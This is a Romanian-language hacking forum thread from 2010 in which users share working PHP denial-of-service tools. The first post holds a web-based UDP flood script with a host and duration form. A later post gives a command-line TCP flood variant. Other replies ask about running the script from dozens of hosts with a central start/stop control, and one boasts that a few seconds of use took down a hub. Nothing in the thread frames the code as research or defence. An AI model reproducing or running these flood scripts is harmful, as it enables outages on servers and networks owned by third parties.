paxnWo Posted July 1, 2010 Report Posted July 1, 2010 rupe, try it out. tre sa aveti teava.<?phpif(isset($_GET['host'])&&is_numeric($_GET['time'])){ $pakits = 0; ignore_user_abort(TRUE); set_time_limit(0); $exec_time = $_GET['time']; $time = time(); $max_time = $time+$exec_time; $host = $_GET['host']; for($i=0;$i<65000;$i++){ $out .= 'X'; } while(1){ $pakits++; if(time() > $max_time){ break; } $rand = rand(1,65000); $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n"; echo '<br><br> <form action="'.$surl.'" method=GET> <input type="hidden" name="x" value="phptools"> Host: <input type=text name=host value=localhost> Length (seconds): <input type=text name=time value=9999> <input type=submit value=Go></form>';}else{ echo '<br><b>UDP Flood</b><br> <form action=? method=GET> <input type="hidden" name="x" value="phptools"> Host: <br><input type=text name=host value=localhost><br> Length (seconds): <br><input type=text name=time value=9999><br> <input type=submit value=Go></form>';}?> Quote
Guest User Name Posted July 1, 2010 Report Posted July 1, 2010 (edited) bun ,dar am o intrebare...daca as urca pe cateva zeci de hosturi...as putea sa ii fac un server .php de pornire/oprire?sau macar un .bat ?Edit: http://gamelost.srw.ro/flood.phptesteaza si tu... Edited July 1, 2010 by User Name Edit Quote
cigraphics Posted July 1, 2010 Report Posted July 1, 2010 [COLOR=#000000][COLOR=Orange]#!/usr/bin/php5[/COLOR][/COLOR][COLOR=#000000][COLOR=#0000BB]<?php[/COLOR][COLOR=#007700]if ( !isset([/COLOR][COLOR=#0000BB]$argv[/COLOR][COLOR=#007700][[/COLOR][COLOR=#0000BB]1[/COLOR][COLOR=#007700]],[/COLOR][COLOR=#0000BB]$argv[/COLOR][COLOR=#007700][[/COLOR][COLOR=#0000BB]2[/COLOR][COLOR=#007700]], [/COLOR][COLOR=#0000BB]$argv[/COLOR][COLOR=#007700][[/COLOR][COLOR=#0000BB]3[/COLOR][COLOR=#007700]]) ) { echo [/COLOR][COLOR=#DD0000]"Usage:\n ./flood.php HOST PORT TIME\n\n"[/COLOR][COLOR=#007700]; exit();}echo [/COLOR][COLOR=#DD0000]"Host: "[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]$argv[/COLOR][COLOR=#007700][[/COLOR][COLOR=#0000BB]1[/COLOR][COLOR=#007700]].[/COLOR][COLOR=#DD0000]"\nPort: "[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]$argv[/COLOR][COLOR=#007700][[/COLOR][COLOR=#0000BB]2[/COLOR][COLOR=#007700]].[/COLOR][COLOR=#DD0000]"\nTime: "[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]$argv[/COLOR][COLOR=#007700][[/COLOR][COLOR=#0000BB]3[/COLOR][COLOR=#007700]].[/COLOR][COLOR=#DD0000]"\n\n"[/COLOR][COLOR=#007700];[/COLOR][COLOR=#0000BB]$out [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000BB]NULL[/COLOR][COLOR=#007700];[/COLOR][COLOR=#0000BB]$pak [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000BB]0[/COLOR][COLOR=#007700];[/COLOR][COLOR=#0000BB]ignore_user_abort[/COLOR][COLOR=#007700]([/COLOR][COLOR=#0000BB]TRUE[/COLOR][COLOR=#007700]);[/COLOR][COLOR=#0000BB]set_time_limit[/COLOR][COLOR=#007700]([/COLOR][COLOR=#0000BB]0[/COLOR][COLOR=#007700]);[/COLOR][COLOR=#0000BB]$exec_time [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000BB]$argv[/COLOR][COLOR=#007700][[/COLOR][COLOR=#0000BB]3[/COLOR][COLOR=#007700]];[/COLOR][COLOR=#0000BB]$time [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000BB]time[/COLOR][COLOR=#007700]();[/COLOR][COLOR=#0000BB]$max_time [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000BB]$time[/COLOR][COLOR=#007700]+[/COLOR][COLOR=#0000BB]$exec_time[/COLOR][COLOR=#007700];[/COLOR][COLOR=#0000BB]$host [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000BB]$argv[/COLOR][COLOR=#007700][[/COLOR][COLOR=#0000BB]1[/COLOR][COLOR=#007700]];for ( [/COLOR][COLOR=#0000BB]$i [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000BB]0[/COLOR][COLOR=#007700]; [/COLOR][COLOR=#0000BB]$i [/COLOR][COLOR=#007700]< [/COLOR][COLOR=#0000BB]65000[/COLOR][COLOR=#007700]; [/COLOR][COLOR=#0000BB]$i[/COLOR][COLOR=#007700]++ ) { [/COLOR][COLOR=#0000BB]$out [/COLOR][COLOR=#007700].= [/COLOR][COLOR=#DD0000]'X'[/COLOR][COLOR=#007700];}while ([/COLOR][COLOR=#0000BB]1[/COLOR][COLOR=#007700]) { [/COLOR][COLOR=#0000BB]$pak[/COLOR][COLOR=#007700]++; if ( [/COLOR][COLOR=#0000BB]time[/COLOR][COLOR=#007700]() > [/COLOR][COLOR=#0000BB]$max_time [/COLOR][COLOR=#007700]) { break; }[/COLOR][COLOR=#FF8000] [/COLOR][COLOR=#0000BB]$fp [/COLOR][COLOR=#007700]= [/COLOR][COLOR=#0000BB]fsockopen[/COLOR][COLOR=#007700]([/COLOR][COLOR=#DD0000]'tcp://'[/COLOR][COLOR=#007700].[/COLOR][COLOR=#0000BB]$host[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]$argv[/COLOR][COLOR=#007700][[/COLOR][COLOR=#0000BB]2[/COLOR][COLOR=#007700]], [/COLOR][COLOR=#0000BB]$errno[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]$errstr[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]5[/COLOR][COLOR=#007700]); if ([/COLOR][COLOR=#0000BB]$fp[/COLOR][COLOR=#007700]) { [/COLOR][COLOR=#0000BB]fwrite[/COLOR][COLOR=#007700]([/COLOR][COLOR=#0000BB]$fp[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]$out[/COLOR][COLOR=#007700]); [/COLOR][COLOR=#0000BB]fclose[/COLOR][COLOR=#007700]([/COLOR][COLOR=#0000BB]$fp[/COLOR][COLOR=#007700]); }}echo [/COLOR][COLOR=#DD0000]"Completed with [/COLOR][COLOR=#0000BB]$pak[/COLOR][COLOR=#DD0000] (" [/COLOR][COLOR=#007700]. [/COLOR][COLOR=#0000BB]round[/COLOR][COLOR=#007700](([/COLOR][COLOR=#0000BB]$pak[/COLOR][COLOR=#007700]*[/COLOR][COLOR=#0000BB]65[/COLOR][COLOR=#007700])/[/COLOR][COLOR=#0000BB]1024[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]2[/COLOR][COLOR=#007700]) . [/COLOR][COLOR=#DD0000]" MB) packets averaging "[/COLOR][COLOR=#007700]. [/COLOR][COLOR=#0000BB]round[/COLOR][COLOR=#007700]([/COLOR][COLOR=#0000BB]$pak[/COLOR][COLOR=#007700]/[/COLOR][COLOR=#0000BB]$exec_time[/COLOR][COLOR=#007700], [/COLOR][COLOR=#0000BB]2[/COLOR][COLOR=#007700]) . [/COLOR][COLOR=#DD0000]" packets per second \n"[/COLOR][COLOR=#007700];[/COLOR][/COLOR] Quote
GhosT.NiGhT Posted July 14, 2010 Report Posted July 14, 2010 Foarte Bun Scriptul !!!Am dat 6-7 secunde si sa dus un hub Quote